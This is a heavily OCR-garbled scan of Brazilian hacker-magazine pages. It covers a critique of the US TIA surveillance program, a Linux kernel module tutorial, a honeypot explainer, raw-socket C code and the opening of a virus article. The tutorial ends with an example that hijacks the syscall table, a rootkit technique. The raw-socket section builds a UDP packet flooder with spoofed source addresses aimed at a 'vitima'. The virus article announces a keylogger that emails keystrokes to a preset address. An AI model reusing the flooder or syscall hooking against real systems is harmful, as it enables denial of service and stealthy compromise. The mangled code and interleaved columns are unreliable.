mitido, entre outras coisas, prender, revistar uma pessoa,
sua casa e seus arquivos, sem autorizacao judicial. Servi-
dores de Internet, empresas e até escolas devem permitir a
investigacao de cidadaos norte-americanos e, se requisita-
do, nao podem nem avisar, ao empregado ou estudante,
que suas coisas foram investigadas

Neste momento, por causa dessa lei, diversas pessoas
continuam presas. Até um brasileiro ficou preso durante
dez meses, sem nenhuma acusacao formal, por conta de
leis assim. Estima-se que existam.ao redor de 1.200 pes-
soas presas desde os atentados, nesta mesma situacdao. O
crime delas? Serem drabes, descendentes ou imigrantes

Com o Decreto Patriético, o governo Bush pode quase
tudo, e com a construcao da TIA, podera ter completo
controle sobre a populacdo. Como isso vai ser usado é a

grande preocupacao.

O que é a TIA?

O objetivo é coletar o maximo de informacoes possi

veis sobre individuos que podem ser “possiveis terroris-

tas” ou criminosos envolvidos em criminalidade e terro-
rismo de “baixa intensidade/baixa densidade”. Sao as
chamadas células terroristas inativas. As autoridades
afirmam que os 19 terroristas que comandaram 0s ata-
ques contra o World Trade Center estavam ha muito
tempo no pais, preparando-se para 0s atentados

Da mesma forma, muitas outras celulas podem estar se
preparando. O problema estd no processo de identifica-
cao dos componentes destas células. Virtualmente, qual-
quer pessoa pode ser um terrorista ou criminoso em
potencial. Essa duvida é verdadeira, principalmente de-
pois da descoberta de americanos lutando ao lado do
Taleban, no Afeganistao.

A solucao é simples: informacoes sobre todas as pes-
soas sao guardadas e processadas em
supercomputadores que o Departamento de Defesa quer
construir, com o auxilio das principais empresas de
informatica do pais. Mas o principal ndo sao 0os compu-
tadores que registrardo todas essas informacoes, como o
uso de cartao de crédito, reservas de passagens, contas
em banco, saida e entrada no pais, registros policiais,
carteiras de motoristas, e-mail, telefonemas e diversas
outras informacoes. O principal serao 0s programas
algoritmos para selecionar e organizar as informacoes

coletadas, além da atividade humana. O projeto de

Poindexter apresentou as empresas que vao concorrer
(quem quiser participar da concorréncia, tem até o final
de marco de 2003), a criacao de um “grande banco de
dados, virtual e centralizado”.

Junto com os elementos coletados no dia-a-dia, o ban-
co de dados sera alimentado com as informacées gera-
das pelas agéncias de inteligéncia FBI e CIA. Sera tam-
bém necessario um supergerenciamento de informacoes
para poder construir padroes de comportamento. Ate
um mecanismo de busca esta sendo preparado, o Projeto
Genoa, por uma coincidéncia, feito pela Syntek
Technologies, empresa que ja contratou John
Poindexter.

Quando fizemos esta matéria, a repercussao sobre o
Grande Irmao fol tao grande que o site da DARPA ficou
fora do ar.

Repercussoes até no Congresso

Diversos deputados e senadores reagiram negativa-
mente ao anuncio da TIA, mas suas criticas focalizaram
apenas em aspectos secundarios do problema. Uma das
primeiras criticas foi a falta de controle do Congresso
sobre todo o processo. Outra foi a presenca de John
Poindexter na direcao do projeto.

Uma das primeiras medidas dos senadores foi a apro-
vacao de uma lei que dava um aspecto democratico a
“espionagem interna”: o Congresso deveria ser informa-
do de todos os passos da TIA e teria controle sobre os
gastos usados na pesquisa e desenvolvimento, exceto
quando estas informacoes forem essenciais para a segu-
ranca nacional. Assim, todes ficam. contentes, o Con-
gresso finge que faz sua parte vigiando o governo, e a
Casa Branca finge que leva em conta o que pensam 0s
senadores e deputados.

Poindexter, com seu passado de mentiras e segredos,
outro ponto de discordia. Mas essa discussao nao deixa
de ser uma forma de iludir a maioria das pessoas. Afinal,
nao vai importar muito quem dirige o projeto, mas como
e para que ele sera usado. Respondendo a essas criticas,
o Departamento de Defesa ja afirmou que Poindexter,
como criador da TIA, so ira ficar até o funcionamento.
Ah, agora ficamos todos mais aliviados. Como também
ficamos mais tranquilos com a promessa de que nenhu-
ma acao ilegal sera tomada contra cidadaos norte-ameri-

canos. Opa, esqueci, n6s nao somos cidadaos norte-
americanos. O que isso significa? Que contra o resto do
mundo acoes ilegais podem ser realizadas?

Nao tem jeito, quanto mais explicacoes do governo,
mais percebemos como a TIA é um projeto voltado para
a espionagem dos cidadaos do mundo, utilizando banco
de dados comerciais. E facil entender como isso pode
influenciar nossas vidas. Nos documentos da propria
DARPA (agéncia militar que criou a propria Internet)
apresentando o projeto, uma frase chama a atencao:
“Scientia Est Potentia” - Conhecimento é Poder. E a TIA
vem para trabalhar junto com o ja famoso Echelon, siste-
ma de monitoramento de informacoes que funciona nos
paises de lingua inglesa.

E os slogans do presidente Bush parecem se aproximar
cada vez mais das frases que dirigiam os objetivos do Big
Brother no livro 7984

Guerra é paz
Liberdade é escravidao
Ignorancia é forca

Conheca mais as organizagoes que
lutam contra o Big Brother

Epic - Eletronic Privacy Information Center
http.//www.epic.org/privacy/profiling/tia/

EFF - Eletronic Frontier Foundation
htto.//www.eff.com/

ACLU - American Civil Liberties Union
http./www.aclu.org/

EchelonWatch
htto.//www.echelonwatch.org/

Free Congress Foundation
http.//www.freecongress.org/

Cyber-Rights & Cyber-Liberties
http.//www.cyber-rights.org/




LINUX KERNEL MODULES

sem deixar de fazer uma tarefa por outra.

Ocorre que, sendo um programa escrito em Ilnguagem
ANS| C, com algumas partes especificas de cada arquitetura
utilizando assembly, acaba por torna-lo muito complexo.
‘Quem ja compilou o kernel sabe disso, das varias opcoes
encontradas, muitas delas que servem apenas para habilitar
outras opcoes, como o caso do suporte a Loadable Modules,
encontrado logo no inicio da configuracdo e que, na maioria

dos kernels, esta habilitado e em uso. Apos habilita-lo, nota-

mos que em vez de habilitar ou desabilitar certos drivers e
funcoes, temos uma terceira opgao, que é <M>odule.
Estes modulos sdo “partes” do kernel que podem ser incor-
poradas durante a execucao do mesmo, durante o uso normal.
De forma inversa do que é encontrada em outros sistemas
operacionais, em que a inclusao de um driver de placa de
rede, por exemplo, € obrigatoriamente seguida de um
reboot, o Linux suporta que, estando a placa instalada, o
driver seja carregado e descarregado a qualquer momento.
Nao confundir com hot swap, que é a capacidade do
hardware ser inserido e removido sem desligar a maquina!
i Este conceito de extenséao de funcionalidade serve tanto

~ tarefas r ndo é aleaténa Grandes ayangos sao feltos em seu
scheduler, que é o com%tgte responsavel pelo
escalonamento dos procésso e tarefas. O outro lado é o
microkernel, que sendo‘\l@g&leéu distribuido, usa um concei-
to exatamente oposto que - divide até os filesystems em pro-
cessos separados, por e .,mplo € usa a comunicacao
assincrona entre os mes &:para realizar suas tarefas.

Fora do debate ideolo ojm que este tipo de questao sem-
pre traz, o design adota ~em se provado muito bom no
uso real do dia-a-dia, e r _ s I melhorlas foram
introduzidas, trazendo um conceito que é considerado obso-

leto por muitos novamente a luz do dia.

O conceito de modulos

e seu funcionamento

Uma destas melhorias sao os Loadable Modules; comenta-
dos anteriormente, que estender %_“ ‘scapaadade do kernel
em runtime. Pequenos pedas; S de codigo, contendo um
conjunto de funcionalidades, sao Carregados do chamado
*userland* para o kernel.

Na realidade, eles passam do filesystem, no qual estao sob
forma de arquivo objeto, para a memoria RAM, na parte

gistrar, & *li

* mo kemel. Mas é um link dinamico
que pode ser desfeito quando removemos o madulo. Reca-

pitulando, insmod mod_name.o carrega o modulo, e rmmod

mod_name o remove.

Para entender melhor, vamos ver um exemplo classico,
Hello World, sempre como root. Antes de executar qualquer
exemplo, tenha em mente que um erro de digitacao pode
travar seu sistema e até perder dados, pois temos de traba-
Ihar como root.

Exemplo 1 - Hello World

#define __ KERNEL___ /* Indica que
estamos dentro do kernel

* faz diferenca na compilagao de cer-
tos include files*/

#define MODULE /* Necessario para

a

indicar que €& um moédulo */
#include <linux/module.h> /%
os simbolos

Todos
e estruturas */

/* Fungdo que é chamada ao carrega-
mento do mddulo */

(void) ({

World\n”) ;

int init_module
printk (“<1>Hello
return O;

}

/* Fungdo chamada quando da remogao
do mesmo */

(void)
:=B\'n" ) ;

void cleanup_module
printk (“<1>Bye
}

/*
Compilar com:

gce -c hello.c [Cria o objeto)

X7

Para compilar, usamos:

# gcec -c¢ hello.c

L

root@nuto ~#
81.81
kernel_version=2.4.4
<1>Hello MWorld
<1>Bye :~D
GCC: (GNU)
[eges-1.1.2
.symtab
.strtab
.shstrtab
.text
.rel.text
.data

.bss

hello.o

strings

egcs-2.91.66 199908314/Linux
release)

.note
.modinfo
.rodata
.comment



LINUX KERNEL MODULES

hello.c

gcc2_compiled.
__module_kernel_version
init_module

printk

cleanup_module

hello.o

rootBnuto:~# objdump —syms

hello.o: file format elf32-i386

SYMBOL TABLE:

go0888088 1 df *ABS* ©OCBEEE6
hello.c

0000088808 1 d .text GOOGEEEE
gOo888808 1 d .data 00B00BEE
80000680668 1 d .bss ggsesess
gc008888 1 .text GOOGE0RES
gcc2_compiled.

8008080868 1 d .modinfo

90888880

init_module
‘00606088

§80060818 g 7
cleanup_module

.text 00888812

~ Entre estes simbolos, vemos a versao do kernel e as
diretivas .modinfo, portanto dados que indicam a natureza
dele. Mas vamos ao teste: 2

rootBnuto:~# insmod hello.o
rootBnuto:~# dmesg
Hello World

Tanto usando o comando dmesg, que lista o buffer circular de
% mensagens do kemel, como o syslog, poderemos ver.a nossa men-

g sagem. De acordo com o niimero usado entre os <> na funcao

.‘\ printk(), a mensagem pode aparecer no console, se houver a priori-
l dade correta configurada.

l A propdsito, printk() € uma funcao que s6 existe dentro do kemel.
l Para remover 0 médulo:

rootBnuto:~# lsmod
Module
hello
{unused]

Size Used by
384 8

(2

5 S0

800680868688 1 D(.modinfo

888808815 _ module_kernel_ version

000808088 1 d .rodata

oOREEE00 :

S000686888 1 d .note 806860088

S888680860 1 d .comment

g80088080

9800808688 g F .text 00888816 -

*UND* 68888088 printk

rootPnuto:~# rmmod hello
rootBnuto:~# dmesg
Bye :~D

néu ) sistema de arquivos dina-
tam variveis do sistema e

#define MODULE
#define __ KERNEL__

#include <linux/madule.h>
<linux/kernel.h>
<linux/init.h>
<linux/proe_£fs.h>
<linux/sched.h>

<asm/uaccess .h>

#include
#include
#include
#include
#include

#define MODULE_NAME “BoaCabelo” // o
nome do diretério /proc/BoaCabelo
#define MODULE_VERSION “8.1" 1/

o nossa moédulo

Uma versaao para

struct proc_dir_entry
*jJiffies file;

static
*example_dir,

statie int proc_read_jiffies(char

*page, char **start, off t off, int
count, int *eof, void *data] {

int len;

MOD_INC_USE_COUNT ;

len = sprintf(page, “jiffies =

%x1d\n2, Jiffies)y
MOD_DEC_USE_COUNT ;

return len;

statie int __init

init_procfs_example (void] {

/* cria um diretorio */
example_dir =
proc_mkdir (MODULE_NAME, NULL];

i e

if ([example_dir
-ENOMEM;

NULL) o

return

}

example_dir->owner = THIS_MODULE;
/* cria um arquivo jifflesm usando
uma fungdoc rapida */

Jiffies_file =
create_proc_read_entry(“jiffies”,
8444,
proc_xead_jiffies,

example_dir,

NULL] ;

NULL]) |
remove_proc_entry[“tty”,

example_dir] ;

-ENOMEM;

if ([jiffies_file

return

}

jiffies _file->owner = THIS_MODULE;

/* everything 0K */

printk [KERN_INFO “%s %s
carregado\n”, MODULE_NAME,
MODULE_VERSION] ;

return 8;

static void __exit
cleanup_procfs_example (void] {

remove_proc_entry(“jiffies_too”,
example_dir]) ;

remove_proc_entry (MODULE_NAME,
NULL] ; :

printk [KERN_INFO “%s %s
removido\n”, MODULE_NAME,
MODULE_VERSION)] ;

}

/¥ Macros */
module_init[init_procfs_example); //
Fungao de inicio do médulo
module_exit(cleanup_procfs_example); //

Fungdo de limpeza ([remociao)

MODULE_DESCRIPTION([“Exemplo procfs
// Nome

u] X
7

" EXPORT_NO_SYMBOLS; // Indica que nenhum';

simbolo externo deve ser exportado
G R PR O -
‘-.. » '*1‘ 2 ey :‘"’

root@nuto: -0

~# dinsmod proc_boacabelo.o

~# cc proc_boacabelo.c
rootBnuto:
rootBnuto:
BoaCabelo

~# dmesg
8.1 -carregado

rootPnuto:~# 1ls /proc/BoaCabelo/ -1la
e total ©
& drz XT—XT =X 2 root root
fe 8 Feb 2 01:41 ./
2 dx = Xr=5CE=X 78 root root
8..Feb: ; 1::22 85 /
e o 1 root root
Feb 2 B81:41 jiffies
root@nuto:~# cat /proc/BoaCabelo/
jiffies
jiffies = 573222

rootBnuto:~# cat /proe/BoaCabelo/
jiffies

574228

rootBnuto:~# rmmod proc_boacabelo
BoaCabelo 8.1 removido

jiffies: =

- C B
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/* chardev.c

* Copyright Original (C)
Ori Pomerantz

* boacabelo.c

2083 p/

* Adaptagdo Gleicon S. Moraes

2.4.x%

#define MODULE

;ﬁ /* Header files */

#include <linux/module.h> /*
do mdédulo */

<linux/fs.h> /* As
de file operations i/

Simbolos

#include

#include <asm/uaccess.h> /* put_user x* 7.

radicaist foi do (2.0 xx ‘parat 272 uXxs

i * Portanto, prevé-las e lidar com

. isso da& a certeza de que o moédulo fun-
ciona

desenvolvedor nao deseje 1isso

s

#define SUCCESS ®
#define DEVICE_NAME
nome do nosso device
#define BUF_LEN 88

da msg retornada

“boacabelo” //
(/proc/devices]
// tamanho maximo

o/ lp ek
para prevenir multiplos open (]
Message[BUF_LEN]; //
buffer que conterd a mensagem

// apenas

static int Device_Open = 0;

statiec char

statie char *Message_Ptr;

um ponteiro

/* Declarag¢dées do arquivo * /

/* fungado chamada quando open[] é usa-
da no deuvice */
int device_open(struct inode *inode,
struct file *file) {

statics 1inticounter = 0

/* Mostrando o major e o minor
number do. dispositivo */

1998-1999 by |

* Cria um char device, read only
&y
#define __KERNEL__ // parte do kernel ©

definigoes §

/* Um detalhe importante sao as mudan—;
cas entre as versdes do kernel,
* da API para mdédulos. Uma das mais

* em qualquer versdo, a Nao ser que o

. didatico,

" causar em um sistema SMP [(com mais de

. counter++) ;

printk [“<9>Device: %d.%d\n”, inode-

inode->i_rdeu & B8xFF];

MOD_DEC_USE_COUNT ;

>i_rdev >> 8,

; return 0;
/* retorna -EBUSY se outro proces- |
so estiver lendo */ %
if (Device_Open] return -EBUSY; /* Fungdo para read(] */
ssize_t device_read(struct file *file,
char *buffer, /*‘Bufier qde recebera
os dados */
size_t length,
Poff -t % offset] />
arquiveo */

{

/* Como nosso caso & demonstrativeo e
nao vamos nos preccupar

* com a possibilidade de concorréncia
de dois processos ou dos problemas Offset dentro do
* que a proéxima instrugdo poderia
* um processador] . int bytes_read = 8;
R
/* Se for o fim da mensagem,

Device_Open++; /* marca que o

device esta aberto */ retorna 8, EOF */
if [(*Message_Ptr == 8) return 8;
/* Cuidado com buffer overflous !!! */ 4
N /* Coloca dados no buffer */

sprintf (Message, “BOA CABELO !!! )1. while (length &6& *Message_Ptr) {

Disposivo lido %d vezes\n”,
/* A magica acontece.

Lembre-se que estamos em Kernel Mode,
e os dados devem ser passados para o

User Mode.

Message_Ptr = Message;

/* mais um simbolo especifico dos médulos - funcionara, usamos esta fungao:

* Caso o contador de usoc do madulo L

for maior que 8, nao sera permitide

* que ele seja removido. AQui usamos put_user (* (Message Ptr++), buffer++];

este artificio como uma trava .

* para garantir que nosso processo nNao length—;

serd interrompido, o que pode causar &, i bytes_read++;
: * gérios problemas : ; . }
i
5 /* Retorna o numero de bytes lidos
MOD_INC_USE_COUNT; . >/
: return bytes_read;
return SUCCESS; g )

¢ /* fungao para write(],
médulo é read-only */

mas Nosso
/* Esta fungao fecha o device -
syscall close(] */
3 : ssize_t device_uwrite([struct file
*file’

const char *buffer, /*

int device_release(struct inode
struct file *file) { buffer */

/* tamanho do buffer

*inode,
size_t length,
pronto para &
loffet * nffset]
Device_Open—; ' £

{

/* Libera o contador,

a préxima. */ /* offset no arquivo

return -EINVAL; /* operagao inuva-
lida */
}

/* Liberamos o contador, para que

caso queira, o médulo seja removido.

x7
/* se chegou ao close(), signifi-

ca que a missdo foi cumprida */ /* Declaragées do Médulo */

'/* Major number do device. Ele deve
# estar acessivel para as
y‘gistro e remogao */

o

} static

/* Tamanho do buffer */ :‘;ées de arquivao],

Como mandar diretamente nao

" /* Valor negativo significa erro */

B return

/* RApenas um banner para mostrar o Major

S {2
rotinas de re- @

int Major;

/* Sempre que trabalhamos
vos,

com dispositi- &
temos de usar esta estrutura ;

* chamada fops K

(file operations, opera-
para mapear as fungdes
* corretas para cada *evento*. Como ja
criamos todas as operagdes que usaremos,

vamos preenché-la e colocar NULL nos

vy

campos nao usados. %g?
/ : P
struct file_operations Fops = ({

owner: THIS_MODULE,

read: device_read,

write: device_uwrite,

open: device_open,

release: device_release, /* close

2

’

/* Inicializa o médulo.
tamos

Aqui aprovei-
para registrar o char device */

int init_module() {

/* Tenta registrar o dispositivo */
Major = register_chrdeu (0,
DEVICE_NAME, &Fops]);

if [Major < B8] {
printk (“Registro
Jor = Sd\al

do device falhou. Ma-
Major) ;
Major ;-

}

<

printk (“Registro do device 0Ok 0 major
%d.\n”, Major] ;
printk (“Para criar o node correto e
usar o device:\n”);

printk (“mknod
(normalmente

device number e’

c  %d
Major) ;

<name> <minor>

&l \nnl

return O;

}

/* Cleanup -
limpa tudo */

desregistra o device e
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wvoid cleanup_module (] {

g

int ret;

/* Desregistra o device */
e | ret = unregister_chrdev(Major,
'DEVICE_NAME] ;

/* Reporta erro, se houver x

i [ret < *0)
printk["Erro ao tentar remover: %d\n”,
ret] ;

}

rootCnuto:

B ¢

rootBnuto:~# insmod boacabelo.o
rootBnuto:~# dmesg

Registro do device 0Ok 0 major device
number e’ 254.

Para criar o node correto e usar o device:

mknod <name> ¢ 254 <minor> (normalmente B8]

root@nufo;~# mknod boacabelo c¢ 254 0O

rootBnuto:~# cat ‘boacabélo
BOA CABELO !!! Dispositivo lido: 8 vezes
root@nuto:~# cat boacabelo
BOA CABELDO !!! Dispositivo lido: 1 vezes

el : : 3
rootBnuto:~# cat /proc/devices
Character devices:

1 mem
pty
ttyp
tty$S
cua
1p
vcs
18 misc
14 sound
21 s’
81 video_capture
128 ptm
136 pts
162 raw
1808 usb
254 boacabelo <— nosso device
Block devices:
e fd
3 ide®
T sisr
22 idel

e VG

#define __KERNEL__
#define MODULE

#include <linux/module.h>
#include <sys/sysecall.h>
#define NULLBS

rootPnuto:~# rmmod unlink-log
rootBnuto:~# dmesg
Unlink LOG: removido

Uma visao geral do log:
rootBnuto:~# dmesg
Unlink LOG: carregado
Unlink LOG: teste txt
Unlink LOG: removideo

extern void* sys_call tablel];

int (*orig_unlink) [char *path];

int new_unlink(char *buf]) {

printk [“Unliok= LG %s\Nn’,  bufl):;

return orig_unlink(buf] ;

)

int init_module(void)
int x
EXPORT_NO_SYMBOLS;

orig_unlink=sys_call_table[SYS_unlink];
sys_call_ table[SYS_unlink]=new_unlink;
printk (“Unlink LOG: carregado\n”];

return O;

}

void eleanup_module(void] {

o pode
portan-

printk (“Unlink LOG: removido\n”];
sys_call_table[SYS_Uﬂlink]:orig_unlink;?

Para compilar e usar:

root@nuto:~# cc unlink-log.c

-0 -e

rootBnuto:~# insmod unlink-log.o

‘rootBnuto:~# dmesg

Unlink LOG: carregado
rootPnuto:~# touch teste.txt
rootBnuto:~# rm teste.txt

rootBnuto:~# dmesg
Unlink LOG: teste.txt

Links:

o o onmman g i g B, o

http:/iwww.xml.com/lddichapteribookl/index.html
Device Drivers, de Alessandro Rubini, obra de referéncia
http:/iwww.pimmel.com/articles/lkm-hacking.html
Diversdo com Linux Kernel Modules &
http:/iwww.kernelnewbies.org/documents/kdoc/procfs-
guidellkprocfsguide.htm/ - Guia do procfs




oneypots ou “Potes de mel”, traduzido para o

portugués, nada mais é que a nova tatica

implementada pelas empresas de seguranca para
atrair e detectar novas falhas em redes. Sequndo dados e
pesquisas, pode-se dizer que a Internet nao é um local total-
mente seguro. Se vocé esta conectado a Rede, esta exposto a
possiveis ataques, que podem ser feitos por um simples script
kiddie explorando uma simples falha e alterando a pagina
principal de seu web site ou até por um hacker que descobriu
uma falha ainda nao explorada em outros servidores e teve
acesso total ao seu banco de dados. Para uma grande empre-
sa, ligada a Internet ou nao, qualquer tipo de ataque se mos-
traria como um grande ponto negativo em seu curriculum.
Com o intuito de evitar ataques, empresas, ndo-satisfei-
'; IDS ou um firewall,
e estudar os tipos de

tas em apenas implementar um si
criam servidores, iscas para atrair h
ferramentas utilizadas, as falhas exf
para chegar ao hacker ou script kid

S ou até mesmo

Mas quais os riscos que uma empresa corre
implementando esta técnica?

a Internet.
sistema

servir de ajuda a um hacker, portanto,
to bem a utilizagdo do mesmo. Para ser v
o sistema de isca deve ser configurado
os demais aspectos de seguranca da re

Quais sdo as vantagens de implementar um
sistema honeypots em minha emp

As diversas vantagens da implementace sistema
honeypots sao: _ :

Poucos logs gerados: um sistema des poucos logs,
pois quase todos estes logs gerados reais ou
atividades nao-autorizadas. Ao ma com
firewall, gerador de imensos lo gar a quase

5 GB por dia, dependendo da

somente com 1 MB de log

que 0s honeypots colete ;

muito mais facil de analisar

coleta. & .
Alertas de seguranc 2

tecnologias de detecc

uma porcentagem gl:"

sos falsos, ficando ass

frar o que é um ataque

. Ainda nao entendi, um honeypot trabalha

como um firewall?

yode ser caracterizada em dois pontos:
1 - Ele ndo faz mais nada além de reduzir ao ma:
vulnerabilidades de um servidor estudando os ata
2 - Obtendo informagoes sobre o ataque e o h
efetuou o mesmo, o iﬁamfniétrédor da rede pod

<

Maiores informacdes em:

http://project.honeynet.org/

http://www.sans.org/resources/idfaq/
. honeypot3.php

Eﬁ f ’, 7 =) J
ol CHEIES
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SOCKETS

L

A AT AR

int msocket, i;
/*variaveis importantes*/
Abaixo, seque o codigo de nossa aplicacao:
char *data="envio de
/*Rawudp.c - Gerador de pacotes UDP*/ datagrama”, datagrama[30];
/*Por Antonio Marcelo */ struct sockaddr_in vitima;
/* Para compilar, digite: */ struct sockaddr_in atacante;
/* gcc -o rawudp rawudp.c */ unsigned long ip_origem, ip_destino;
unsigned long end_origem, end_destino;
#include <stdio.h> unsigned short porta_origem, porta_destino;
#include <stdlib.h>
#include <unistd.h> ip_origem = inet_addr (“127.8.8.1"); /*modi-
#include <sys/types.h> fique para o endereco que quiser*/
#include <sys/socket.h> ip_ destino = inet addri ‘127" 8. 8 1Y) "/ *ens
#include <netdb h> dereco do alvo dos pacotes*/

#include <netinet/in.h>
#include <netinet/ip.h> msocket = socket (AF_INET,SOCK_RAW,17] ;

A Aplica(}‘ﬁ() #include <netinet/udp.h>
; : if (msocket < 8]

: | E.: /*Declaracao de algumas variaveis Uteis*/ fprintf (stderr,”-1 de socket\n"];
iemos ao longo destas ~modesta§ licoes sobre exit(-1]);
[0gramacao em #define TAM_UDPHDR sizeof (struct udphdr)
o curso foi que -’ #define TAM_IPHDR  sizeof (struct iphdr] }
3¢ apmﬁgéesno \ #define porta 118 /*porta destino bzero (& (vitima.sin_zero), 8] ;
s % vitima.sin_family = AE_INET;
0 pude auxiliar, ja o aco e E o -
#define pacotes 58 /*numero de paco- vitima.sin_port = htpns[porta];
tes UDP enviados. Aqui pode acontecer o vitima.sin_addr.s_addr = ip_destino;
3 . | flood*/
e do Software Livre, : /* Declaracao da estrutura do socket */
] m potencial. unsigned short in_cksum(u_short *addr, int bzero (& (atacante.sin_zero], 8];
. len) ; : atacante.sin_family = AF_INET;

O para Linux e nao
e de converter alguns

atacante.sin_port = htons (8];
/*Declaracao da fungao de envio de pacotes atacante.sin_addr.s_addr = ip_destino;
UDP via raw sockets */ s
void udp_send(int msocket, unsigned long end_origem = atacante.sin_addr.s_addr;
0 mais profunda do cabecalho UDP end_origem,unsigned long end_destino = vitima.sin_addr.s_addr;
end_destino,unsigned short porta_origem = atacante.sin_port;
porta_orig, unsigned short porta_dest, porta_destino = vitima.sin_port;

char *datagrama, unsigned datasize] ; strcpy (datagrama,datal ;
printf (“Enviando pacotes UDP\n”];

vamos mostrar um gerador
de ser utilizado como um UDP
conhecimento de nossa Ultima

main(veid) { for (i = 8; i < pacotes; i++] {




ﬁ_amos abaixe a fungao de envio udp */
p end (msocket ,end _origem,end
destino,porta_origem,porta_destino,

Su easo!!\n“};
f'rei:;.!rn 8;

}
/* Checksum - Conforme livro do Stevens*/
unsigned short in_cksum{unsigned short

B f%ﬁdr,int len)

() { b 4

register int sum = §;

o u_short answer = §;
register U _short *w = addr;
register int nleft = len;

Bhile [(nleft > 1]
sum += *uw++;
GEieft - 2;

it linlefeb == RN
* (u_ehar *) (Gansver] =
. char *Juw ;
SUMm += answer;

}

sum = [sum >> 16] + [sum & Bxffff)
.sum += [sum >> 1B];
answer = ~sum;

return(answer]) ;

/* Fungao que enuia os pacotes UDP */

/e Estadiuncao ggpiora o rau sockets e vai

igned short perta orig, unsigned short
A >
t,char *datagrama . umsigned datasize]

udp = [stzuet udphdr
*] [pacote+TAM_IPHDR] ;
data = [umsigned chax

*] [pacote+TAM_IPHDR+TAM_UDPHDR] ;
memset ({pacote, 8, 1824];

udp->source = htons(porta_orig];
udp->dest = htons[porta_dest] ;
udp->len = htons (TAM_UDPHBR+datasize] ;

memcpy [data, datagrama, datasize] ;

udp->check =0;

memcpy [data, datagrama, datasize];
memset [pacote, 8, TAM_IPHDR] ;

ip->saddr = end_origenm;
ip->daddr = end_destino;
ip-sversion = 4;

3p->1h1L =W

Tp=sEki =245

TP = > = random (] %5985 ;

ip - >protocei=.d 7
ip->tot_len = htons [TAM_IPHDR + TAM_UDPHDR
+ datasize] ;

ip->check =R

ip->check = in_cksum [ [char

*}pacote, TAM_IPHDR] ;

vitima.sin_family = AECINED:
vitima.sin_addr.s_addr = end_destino;
vitima.sin_port = udp->dest;

/* Funcao de envio sendto(] do sockets */

envia = sendto(msocket, pacote,
TAM_IPHDR+TAM_UDPHDR+datasize, O,

[struet sockaddr*)&Guitima,

sizeof (struect sockaddr])] ;

i e N v i a i=TEEE e
perror [(“sendto (] ”];
exit(-1];

}

Observe gue na funcao vap_send esta descrita a estrutura

origem, unsigned long int

destine.. int: idseint segueehar
*data, unsigned int datasize)

{

unsigned char *pacote;
unsigned char *jicmpdata;
struect iphdr Fip ;
struct icmphdr *icmp;
struct sockaddr_in vitima;
1t NG
pacote = [char *)malloc (TAM_IPHDR +
TAM_ICMPHDR + datasize + 1] ;
1f (pacotes ==-NULEL] =
perror (“malloc”];
exit (ERRO] ;
1
ip = [struct iphdr *)pacote;
icmp = (struct icmphdr *] (pacote +
TAM_IPHDR] ;
iecmpdata = [(char *) (pacote +

TAM_IPHDR + TAM_ICMPHDR] ;

ip->saddr = end_origem;

ip->daddr = end_destino;
ip->version =i

1p=>ahil = ahe

Lp=tile J =255
ip->protocol e 0

ip->tot_len = htons (TAM_IPHDR

+ TAM_ICMPHDR + datasize] ;
ip->tos el
ip->id ==
ip->frag off o [
ip->check =)
ip->check = in_cksum(ip,

TAM_IPHDR] ;

icmp->type = =EH;
/* lembre-se de que o ICMP tem varios ti-

pos de comportamento. Ueja a tabela abaixo: */

/*ICMP_ECHOREPLY 8 */
/*ICMP_DEST_UNREACH gt
/*ICMP_SOURCE_QUENCH 4%/
/*ICMP_REDIRECT 5%/
/*ICMP_ECHO : gy
icmp->code =N
icmp->checksum = (U5
iemp->un.echo.id SEasdl
iemp->un.echo.sequence = seq;

memepy [icmpdata, data, datasize] ; "}%*f‘

iemp->checksum = in_cksum(icmp,
TAM_ICMPHDR + datasize] ;

vitima.sin_addr.s_addr = ip->daddr;

vitima.sin_family = ARSENET:; *

N = sendto(msocket, pacote, TAM_IPHDR +
TAM_ICMPHDR + datasize, 8, ;
(struct sockaddr*]&uitima,
sizeof (struct sockaddr]] ;
e [ == s e
perror (“sendto () "] ;
free (pacote] ;
exit(-1];
}
free (pacote] ;

}

Neste caso, nossa funcao seria gerar pacotes ICMP do tipo 8.

Conclusoes Finais:

Bem, estes sdo exemplos de como podemos trabalhar com
raw sockets e criar diversas aplicacoes interessantes. Espero
que estes exemplos finais possam ter orientado vocé a reali-
zar estudos mais profundos e interessantes a respeito. Gos-
taria de terminar minha série de artigos com uma bibliogra-
fia interessante sobre 0 assunto:

e TCPAP llustrated. Volume [ e /- Richard W. Stevens

Unix Networking Programming, Volume [- Richard W.
Stevens ;

e Como Programar em C - HM. Deitel e PJ. Deitel - Livro
Técnico Editora

Mais umavez gostaria de agradecer aos meus leitores que
tém apoiado o meu trabalho e desde ja estou no aguardo de if
duvidas, comentarios e criticas sobre esta série de artigos. i}

H

b

e Antonio Marcelo é especialista em seguranca e trabalha !

como consultor independente e professor. E autor de cinco & 5
livros sobre Linux, entre eles Linux - Ferramentas Anti-
hackers, publicado pela editora Brasport. Mais informagoes
pelo site Attp.//www.plebe.com.brou pelo e-mail
amarcelo@plebe.com.br.



ESPIONAGEM DIGITAL

Virus

Primeira parte do
artigo sobre instrucoes
virais - dicas nunca
antes reveladas

alma, esta nao e mais uma daquelas materias

chatas sobre virus, de conteido meramente his-

torico ou relacionando um ou outro conselho
que ja estamos cansados de saber (“verifique 0s anexos de
e-mail antes de abri-los”, “mantenha seu antivirus atualiza-

do”, etc.)

E evidente que nao basta ter um bom antivirus, mesmo
que atualizado. Afinal, novas pragas digitais surgem, na
pior das estatisticas, semanalmente. Muitos discordam
desta tese, mas resolvi prova-la de um modo muito simples
fabricando um programa com caracteristicas virais, mas que
nao seja reconhecido por qualquer antivirus - o resultado
esta disponivel no CD-ROM da revista e comentado ao

longo desta materia

Ha quem afirme que nao seria necessario ir tao longe,
bastaria compactar e criptografar um virus ja descoberto,
para que 0 mesmo nao fosse mais reconhecido. Mas este
metodo so funcionaria ao nivel do arquivo; uma vez executa
do o programa, certamente o antivirus o detectaria na me
moria do micro

Esta matéria foi dividida em trés partes

1)”Dicas gerais para lidar com os virus”: reine o que ha
de essencial sobre o Registro do Windows e dicas de confi-
guracdes para evitar a infeccao viral; caso seja um usuario

avancado, pode pular esta secao;

2)"Entendendo o funcionamento do programa”: retine
algumas das rotinas tipicas de programas virais, todas

projetadas para programacao em Delphi 5 ou superior; se
nao se interessa por programacao, nada impede que pule

esta secao

3)“Usando o programa”: ensina a instalar e usar o progra

ma que sera cedido no CD-ROM da revista na proxima edi

Seu computador esta protegido?
parte I

cao (um Keylogger que envia tudo o que ¢ digitado no com-
putador para um endereco de e-mail predeterminado).

